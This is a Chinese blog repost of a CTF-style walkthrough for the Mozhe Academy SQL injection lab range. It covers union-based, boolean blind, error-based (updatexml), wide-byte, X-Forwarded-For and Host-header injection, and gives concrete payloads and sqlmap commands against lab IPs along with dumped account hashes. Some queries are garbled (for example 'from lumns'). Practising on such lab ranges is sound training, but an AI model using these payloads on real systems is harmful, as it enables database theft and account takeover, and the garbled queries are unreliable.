墨者学院

阅读: 评论:0

墨者学院

墨者学院

这段时间联系一下SQL注入:
墨者SQL手工注入专题
在线靶场-SQL注入

文章目录

  • 数据库:MySQL
  • 数据库:Access
  • SQL Server
  • SQL注入漏洞测试(布尔盲注)
  • SQL手工注入漏洞测试(MySQL数据库-字符型)
  • X-Forwarded-For注入漏洞实战
  • SQL注入漏洞测试(报错盲注)
  • SQL注入漏洞测试(宽字节)
  • SQL注入漏洞测试(HTTP头注入)

数据库:MySQL

三种数据库的注入详解


MySQL的很简单

1,查字段数
.php?id=0 order by 5 时报错,说明字段有4个

2,查数据库
.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

3,查表
.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1

数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。

4,查字段
.php?id=0 union select 1,2,column_name,4 from lumns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1

数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。

5,查类容
.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

查到两个数据:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad

MD5:
dsan13
392969
登录第二个账号得到key

数据库:Access

access数据库没有索引语句只能猜解。

判断数据库方法:

and (select count(*) from msysobjects)>0(返回权限不足 access数据库)

and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)


直接用sqlmap跑:
默认回车,线程设置10.
跑出来两个表:
python sqlmap.py -u "219.153.49.228:40259/new_list.asp?id=1" --data="id=1" --tables

爆字段
python sqlmap.py -u "219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin --columns

这里猜解到username和passwd这两个字段,很有可能用户名和密码存放在这个两个字段中

读取username和passwd字段中的数据
python sqlmap.py -u "219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin -C username,passwd --dump
md5解密得到密码

登录得到flag

记录个讲的很好的教程:sqlmap注入access数据库

SQL Server

这题道感觉很复杂,手工注入很麻烦,还是用sqlmap跑吧。

SQL注入漏洞测试(布尔盲注)

数据库:
python sqlmap.py -u 219.153.49.228:46896/new_list.php?id=1 --dbs --threads 10

表:
python sqlmap.py -u 219.153.49.228:46896/new_list.php?id=1 -D stormgroup --tables --threads 10

字段:
python sqlmap.py -u 219.153.49.228:46896/new_list.php?id=1 -D stormgroup -T member --columns --threads 10

内容:
python sqlmap.py -u 219.153.49.228:46896/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump --threads 10

得到两个账号:

mozhe-3114b433dece9180717f2b7de56b28a3-0
mozhe-72b907f67333f6b1831ef219d6ef7832-1

md5:
mozhe-816761-1

SQL手工注入漏洞测试(MySQL数据库-字符型)

1,219.153.49.228:45334/new_list.php?id=tingjigonggao'
报错。

2,219.153.49.228:45334/new_list.php?id=tingjigonggao' --+
没有报错,存在字符型注入。

3,219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 5 --+
猜测字段数为5,报错。

4,219.153.49.228:45334/new_list.php?id=tingjigonggao' order by 4 --+
猜测字段数为4,正常,字段数为4。

5,219.153.49.228:45334/new_list.php?id=' union select 1,2,3,4 --+

找到回显位置2和3。

6,219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 0,1--+

第一个数据库为information_schema

7,219.153.49.228:45334/new_list.php?id=' union select 1,2,schema_name,4 from information_schema.schemata limit 1,1--+


第二个数据库为mozhe_discuz_stormgroup

8,同理:
所有数据库为mysql,information_schema,mozhe_discuz_stormgroup,performance_schema,test

9,使用mozhe_discuz_stormgroup数据库爆表
219.153.49.228:45334/new_list.php?id=' union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' limit 0,1--+

10,同理,爆出所有数据库:

notice,stormgroup_member

这里使用第二个数据库stormgroup_member,所以就不继续爆了。

11,219.153.49.228:45334/new_list.php?id=' union select 1,2,column_name,4 from lumns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member' limit 0,1--+

12,同理,爆出所有字段名为:
id,name,password,status

13,219.153.49.228:45334/new_list.php?id=' union select 1,2,concat(name,'-',password),4 from mozhe_discuz_stormgroup.stormgroup_member limit 0,1--+

14,爆出两个账号:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-9b7a0a48bdc5981497e68c7b1ec9d01c

15,md5解密:
mozhe-dsan13
mozhe-821078

16,登录第二个得到flag

X-Forwarded-For注入漏洞实战


这种题还是第一次遇到,因为要记录ip地址,所以要添加一个X-Forwarded-For: *的头。

1,复制信息到b.txt中。

2,构造sqlmap语句爆出数据库。
python sqlmap.py -r D: --dbs --batch --threads 10

常用参数:
--batch:批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--threads: 设置多线程,默认为1,最大10。
sqlmap全参数详解


3,爆webcalendar数据库中的表。
python sqlmap.py -r D: -D webcalendar --tables --batch --threads 10

4,爆字段内容。
python sqlmap.py -r D: -D webcalendar -T user --dump --batch --threads 10

5,登录得到flag。

SQL注入漏洞测试(报错盲注)

学习基于extractvalue()和updatexml()的报错注入

使用方法:updatexml(aaa ,concat(bbb,( SQL语句 ),bbb),aaa)

其中:aaa和bbb随便输入什么东西
回显:error:‘bbb 查询的SQL结果 bbb’

例:updatexml(1,concat('~',(select database()),'~'),1)


解题:

1,219.153.49.228:48410/new_list.php?id=1'
报错。

2,219.153.49.228:48410/new_list.php?id=1' --+
正常,存在注入。

3,根据题目提示使用updatexml()进行报错注入。
219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆出了数据库stormgroup。

4,爆表:
219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),0x7e),1)--+

爆出表:member

5,爆字段:
219.153.49.228:48410/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from lumns where table_schema='stormgroup' and table_name='member' limit 0,1),0x7e),1)--+

6,同上,爆出其他字段。
name,password,status

7,爆字段类容。
219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',password) ber limit 0,1),0x7e),1)--+

8,同上,爆出所有账号,密码。
mozhe-3114b433dece9180717f2b7de
mozhe-773243a831d361bcdb225f0dd

9,但是这里有个坑,因为updatexml只能输出32位,所以还要用substr()把后面几位爆出来。
219.153.49.228:49504/new_list.php?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',substr(password,26)) ber limit 0,1),0x7e),1)--+

得到密码:3114b433dece9180717f2b7de56b28a3
和:3783d53ee620b2901c8eaae3b56b28a3

10,md5解密登录得到flag。

SQL注入漏洞测试(宽字节)

宽字节注入原理:
  1,出于安全考虑,单引号'会被转义为/'进入后台。
  2,%bf/'等于縗’,这样就成功将/号变为无效字符,从而正常使用单引号。(%bf=β


解题:

1,由于题目是宽字节注入,直接使用宽字节注入方法进行注入。
219.153.49.228:41108/new_list.php?id=-1%df


报错正常,开始注入。

2,确定字段数
219.153.49.228:41108/new_list.php?id=-1%df' order by 5 --+

order by 6 时报错,字段数为5。

3,找到回显点,回显点为5和3。
219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,5 --+

4,爆数据库。
219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata --+

5,爆表,因为引号被转义,库名,表名使用16进制。
219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 --+

6,爆字段。
219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(column_name) from lumns where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 and table_name=0x73746f726d67726f75705f6d656d626572 --+

7,爆字段类容。
219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(name,password,status) from mozhe_discuz_stormgroup.stormgroup_member --+


8,md5解密,登录。

SQL注入漏洞测试(HTTP头注入)


第一次做http头注入的题目,看了看题解是在host上注入。

1,抓包,修改为Host: or 1=1

报错
2,找注入点
host: union select 1,2,3,4

3,暴库
Host: union select 1,2,3,group_concat(schema_name) from information_schema.schemata

4,爆表
Host: union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'

5,爆字段
Host: union select 1,2,3,group_concat(column_name) from lumns where table_schema='pentesterlab' and table_name='flag'

6,爆flag
Host: union select 1,2,3,group_concat(flag) from pentesterlab.flag

7,验证flag

本文发布于:2024-02-04 19:27:25,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170714742358789.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:学院
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23